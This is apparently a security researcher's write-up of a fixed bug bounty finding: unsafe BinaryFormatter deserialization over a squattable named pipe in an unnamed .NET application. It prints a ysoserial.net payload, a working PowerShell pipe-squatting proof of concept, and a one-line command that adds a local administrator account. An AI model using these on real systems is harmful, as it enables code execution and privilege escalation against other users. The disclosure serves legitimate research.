Background

The issue I’m about to describe was reported as part of public bug bounty program. It was reported, bounty was granted1, and issue is now fixed. However, vendor disagreed to disclose the issue, therefor I will not name vendor or product. The technical details will still be presented, but slightly (sometimes heavilly…) redacted when necessary.

Recon

While working on several targets at the same time, I usually monitor system activities and look for my favorite issues. One thing on my list is checking if any named pipes are used. Named pipes can be used for variaty of interesting operations and common misconception is that it is impossible to peek into the exchanged data. Of course the data may be protected from casual peeking by non-privileged users, but with proper toolkit and enough privileges it can be easily analyzed.

Firstly, how to check if named pipes are used at all? Well, in this case I simply run following PowerShell code:

1
(get-childitem \\.\pipe\).FullName

This code opens \\.\pipe\ directory2 and reads FullName property of each named pipe. You should expect several default system’s named pipes, software specific pipes (e.g. from Dropbox client), and perhaps a lot of pipes from Google Chrome’s mojo sandbox. This time, I saw one more on the list.

Enumerated pipes

The redacted part was pointing at the specific file, giving out pipe’s origin. Otherwise I could still use GetNamedPipeServerProcessId function to pinpoint specific process.

I wanted to check traffic exchanged thru that pipe. The great tool that helps with this is called IO Ninja. Its pipe monitor feature may be used to sniff entire pipe traffic or filter out specific bits. I set up filters for specific pipe and began listening. To get clear picture, I restarted the tested app and collected the traffic.

Hello message

There are couple interesting things here:

  1. We can see interaction with identified pipe.
  2. The program executable that reads and writes to the pipe is the same, but PIDs are different. Looks like client <-> server communication implemented within single binary.
  3. There is another pipe opened. New pipe has additional suffix (_2).
  4. The data sent via pipe looks like serialized object definition.

I though that reversing the application might be helpful, so I opened the tested executable in PE editor. Turned out that this is .NET binary with no obfuscation whatsoever. Immidietly, I loaded it into dnSpy to confirm. There it was, full reversed source code in C#3. The executable also used lots of 3rd pary libraries, most of them also easy to inspect. I began searching for strings related to my named pipe. The search returned PipeListener class that was handling objects sent via named pipe:

1
2
3
4
5
6
7
8
private void ClientMessage(NamedPipeConnection<Message, Message> connection, Message message)
{
    IDispatch instance = App.GetInstance<IDispatch>();
    IDialogService dialog = App.GetInstance<IDialogService>();
    PathMessage pathMessage = message as PathMessage;
    if (pathMessage != null)
        // redacted ...
}

Another class (Pipes) was responsible for naming the pipe objects:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
public static string get_PipeName()
{
    string userDomainName = Environment.UserDomainName;
    string userName = Environment.UserName;
    int sessionId = Process.GetCurrentProcess().SessionId;
    return string.Format("_redacted_/{0}/pipe/{1}@{2}+{3}", new object[]
    {
        Localization.AssemblyProduct,
        userName,
        userDomainName,
        sessionId
    });
}

The highlighted line explains how name was constructed. In our example, userName is lowpriv and userDomainName is DESKTOP-OMNIO40. The sessionId seems to be 2 in this case. The suffix, that we saw in second pipe, is apparently added elsewhere.

Another interesting place to check was 3rd party library that was responsible for actual reading bytes from named pipe. Based on the library name and its version, I tracked it down to github where I noticed that it’s actually abandoned OpenSource project with last changes made over 4 years ago. Not a great choice. It contains following logic responsible for pipe reading:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
public T ReadObject()
{
    int num = this.ReadLength();
    return (num == 0) ? default(T) : this.ReadObject(num);
}

private int ReadLength()
{
    byte[] array = new byte[4];
    int num = this.BaseStream.Read(array, 0, 4);
    bool flag = num == 0;
    int result;
    if (flag)
    {
        this.IsConnected = false;
        result = 0;
    }
    else
    {
        bool flag2 = num != 4;
        if (flag2)
        {
            throw new IOException(string.Format("Expected {0} bytes but read {1}", 4, num));
        }
        result = IPAddress.NetworkToHostOrder(BitConverter.ToInt32(array, 0));
    }
    return result;
}

private T ReadObject(int len)
{
    byte[] buffer = new byte[len];
    this.BaseStream.Read(buffer, 0, len);
    T result;
    using (MemoryStream memoryStream = new MemoryStream(buffer))
    {
        result = (T)((object)this._binaryFormatter.Deserialize(memoryStream));
    }
    return result;
}

OK, let’s see. In line #3, ReadObject calls ReadLength to read first 4 bytes. In line #25 we can see that bytes are returned in network-to-host-order, something we will need to keep in mind. Specialized version of ReadObject is then called - it reads exactly len following bytes and performs deserialization of read bytes. The deserialization is made using binaryFormatter.

This code doesn’t seem to verify if len value makes sense. Hence, it is possible to provide huge number which will result in either DoS or… memory corruption? Interesting idea, but there’s much easier exploitation path: unsafe deserialization of provided data.

Weaponization

To exploit unsafe deserialization, we need to prepare correct payload. Fortunately, there is no need to craft it manually, as there exists a great tool for that: ysoserial.net. When an application with the required gadgets on the classpath unsafely deserializes payload, the specified chain will automatically be invoked and cause the command to be executed on the application host. For instance, we can generate code that spawns notepad.exe.

.\ysoserial.exe -f BinaryFormatter -g DataSet -c "notepad.exe" --minify

AAEAAAD/////AQAAAAAAAAAMAgAAAEtTeXN0ZW0uRGF0YSxWZXJzaW9uPTQuMC4wLjAsQ3VsdHVyZT1uZXV0cmFsLFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAABNTeXN0ZW0uRGF0YS5EYXRhU2V0CgAAABZEYXRhU2V0LlJlbW90aW5nRm9ybWF0E0RhdGFTZXQuRGF0YVNldE5hbWURRGF0YVNldC5OYW1lc3BhY2UORGF0YVNldC5QcmVmaXgVRGF0YVNldC5DYXNlU2Vuc2l0aXZlEkRhdGFTZXQuTG9jYWxlTENJRBpEYXRhU2V0LkVuZm9yY2VDb25zdHJhaW50cxpEYXRhU2V0LkV4dGVuZGVkUHJvcGVydGllcxREYXRhU2V0LlRhYmxlcy5Db3VudBBEYXRhU2V0LlRhYmxlc18wBAEBAQAAAAIABx9TeXN0ZW0uRGF0YS5TZXJpYWxpemF0aW9uRm9ybWF0AgAAAAEIAQgCAgAAAAX9////H1N5c3RlbS5EYXRhLlNlcmlhbGl6YXRpb25Gb3JtYXQBAAAAB3ZhbHVlX18ACAIAAAABAAAABgQAAAAACQQAAAAJBAAAAAAJBAAAAAoBAAAACQUAAAAPBQAAABwCAAACAAEAAAD/////AQAAAAAAAAAMAgAAABtNaWNyb3NvZnQuUG93ZXJTaGVsbC5FZGl0b3IFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAACBAzxPYmplY3REYXRhUHJvdmlkZXIgTWV0aG9kTmFtZT0iU3RhcnQiIHhtbG5zPSJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dpbmZ4LzIwMDYveGFtbC9wcmVzZW50YXRpb24iIHhtbG5zOmE9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PVN5c3RlbSI+PE9iamVjdERhdGFQcm92aWRlci5PYmplY3RJbnN0YW5jZT48YTpQcm9jZXNzPjxhOlByb2Nlc3MuU3RhcnRJbmZvPjxhOlByb2Nlc3NTdGFydEluZm8gQXJndW1lbnRzPSIvYyBub3RlcGFkLmV4ZSIgRmlsZU5hbWU9ImNtZCIvPjwvYTpQcm9jZXNzLlN0YXJ0SW5mbz48L2E6UHJvY2Vzcz48L09iamVjdERhdGFQcm92aWRlci5PYmplY3RJbnN0YW5jZT48L09iamVjdERhdGFQcm92aWRlcj4LCw==

We instructed tool to generate payload using gadgets related to BinaryFormatter and DataSet objects. If you base64-decode it, along with lots of binary data, you should see the following XML:

<ObjectDataProvider MethodName="Start" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:a="clr-namespace:System.Diagnostics;assembly=System"><ObjectDataProvider.ObjectInstance><a:Process><a:Process.StartInfo><a:ProcessStartInfo Arguments="/c notepad.exe" FileName="cmd"/></a:Process.StartInfo></a:Process></ObjectDataProvider.ObjectInstance></ObjectDataProvider>

…where Process object is defined along with our command to start notepad.exe using cmd.exe. This basically means that we can run arbitrary code.

Attack

The last question remains - how can we send payload to the application? Actually, I already made an little assumption that I should be able to create necessary pipe before the application does that and serve malicious content using my pipe. This technique is called pipe squatting and is fairly popular. With this assumption in mind, I began coding PoC in PowerShell. I chose it because I can just copy-paste parts of the code from original app and benefit from straightforward support for named pipes.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
# provide correct pipe name in format: "\<redacted>\<redacted>\pipe\<username>@<hostname>+<session id>_1"
$pipeName = "\<redacted>\<redacted>\pipe\lowpriv@DESKTOP-OMNIO40+2_1"
$PipeSecurity = new-object System.IO.Pipes.PipeSecurity
$AccessRule = New-Object System.IO.Pipes.PipeAccessRule( "Users", "FullControl", "Allow" )
$PipeSecurity.AddAccessRule($AccessRule)
$pipe=new-object System.IO.Pipes.NamedPipeServerStream($pipeName,"InOut",100, "Byte", "Asynchronous", 32768, 32768, $PipeSecurity)

Write-Host "Hello, I'm waiting here!"
$pipe.WaitForConnection()

Write-Host "Oh, first guest arrived!"

# payload generated with ysoserial.net
$payload = "AAEAAAD/////AQAAAAAAAAAMAgAAAEtTeXN0ZW0uRGF0YSxWZXJzaW9uPTQuMC4wLjAsQ3VsdHVyZT1uZXV0cmFsLFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAABNTeXN0ZW0uRGF0YS5EYXRhU2V0CgAAABZEYXRhU2V0LlJlbW90aW5nRm9ybWF0E0RhdGFTZXQuRGF0YVNldE5hbWURRGF0YVNldC5OYW1lc3BhY2UORGF0YVNldC5QcmVmaXgVRGF0YVNldC5DYXNlU2Vuc2l0aXZlEkRhdGFTZXQuTG9jYWxlTENJRBpEYXRhU2V0LkVuZm9yY2VDb25zdHJhaW50cxpEYXRhU2V0LkV4dGVuZGVkUHJvcGVydGllcxREYXRhU2V0LlRhYmxlcy5Db3VudBBEYXRhU2V0LlRhYmxlc18wBAEBAQAAAAIABx9TeXN0ZW0uRGF0YS5TZXJpYWxpemF0aW9uRm9ybWF0AgAAAAEIAQgCAgAAAAX9////H1N5c3RlbS5EYXRhLlNlcmlhbGl6YXRpb25Gb3JtYXQBAAAAB3ZhbHVlX18ACAIAAAABAAAABgQAAAAACQQAAAAJBAAAAAAJBAAAAAoBAAAACQUAAAAPBQAAABwCAAACAAEAAAD/////AQAAAAAAAAAMAgAAABtNaWNyb3NvZnQuUG93ZXJTaGVsbC5FZGl0b3IFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAACBAzxPYmplY3REYXRhUHJvdmlkZXIgTWV0aG9kTmFtZT0iU3RhcnQiIHhtbG5zPSJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dpbmZ4LzIwMDYveGFtbC9wcmVzZW50YXRpb24iIHhtbG5zOmE9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PVN5c3RlbSI+PE9iamVjdERhdGFQcm92aWRlci5PYmplY3RJbnN0YW5jZT48YTpQcm9jZXNzPjxhOlByb2Nlc3MuU3RhcnRJbmZvPjxhOlByb2Nlc3NTdGFydEluZm8gQXJndW1lbnRzPSIvYyBub3RlcGFkLmV4ZSIgRmlsZU5hbWU9ImNtZCIvPjwvYTpQcm9jZXNzLlN0YXJ0SW5mbz48L2E6UHJvY2Vzcz48L09iamVjdERhdGFQcm92aWRlci5PYmplY3RJbnN0YW5jZT48L09iamVjdERhdGFQcm92aWRlcj4LCw=="
$p = [char[]][System.Convert]::FromBase64String($payload)
$l = [BitConverter]::GetBytes([IPAddress]::HostToNetworkOrder($p.Length))

$pipe.Write($l, 0, $l.Length)
$pipe.Write($p, 0, $p.Length)
$pipe.Flush()

Write-Host "Payload sent. Hope that you liked it."

The pipes permissions are purposely set to FullControl for Everyone as we want to maximize attack scope. The remaining pipe settings are taken from reversed source code. Once first client connects (line #9), the payload is prepand with payload length (with bytes in network-order, see line #16), and sent to the client. If everything goes right, we shall achieve code execution and see notepad.exe started by tested application.

I started the PoC script, cleared IO Ninja log, and restarted the app.

Attack, part 1

The first part of the attack is verification if my assumption regarding pipe squatting is correct. On the picture, we can see that:

  1. One process informs another to use named pipe of name that we were able to foresight.
  2. The process is unable to start the pipe - this is because we already created named pipe with such name. If my assumption was correct, it should simply ignore Access is denied error.
Attack, part 2

The process then reads payload from… my pipe! This means that squatting worked and we were able to plant custom pipe instance. After that, the process crashed, but fresh notepad.exe instance is run by tested application before that.

Going forward

So… did we just attack ourselves? Yes, just to prove the point! However, the tested application is meant to be run also in multi-user environment.

On a single host, multiple users may be working at the same time. We can modify pipe name, and instead of targeting lowpriv user, go for Administrator account. We could use ysoserial to execute code from batch file on external share and add new admin account to the system or relay captured NTLMv2 hash.

1
net user /add Ksz P@ssw0rd & net localgroup /add Administrators Ksz

The attack scope depends on privileges associated with given user, but vulnerability is severe enough to get reverse shell or elevate local privileges.

Thanks for reading!


  1. Funny enough, it was resolved as critical issue in critical asset with a note that “will be paid as a Low vulnerability”. ↩︎

  2. This is Local Device path. Although it looks like UNC path, the . here actually triggers translation to DosDevices directory where ‘pipe’ symlink is located. This is further translated into \Device\NamedPipe\. ↩︎

  3. dnSpy works on CIL - intermediate code, but it has option to translate it into C# or Visual Basic. ↩︎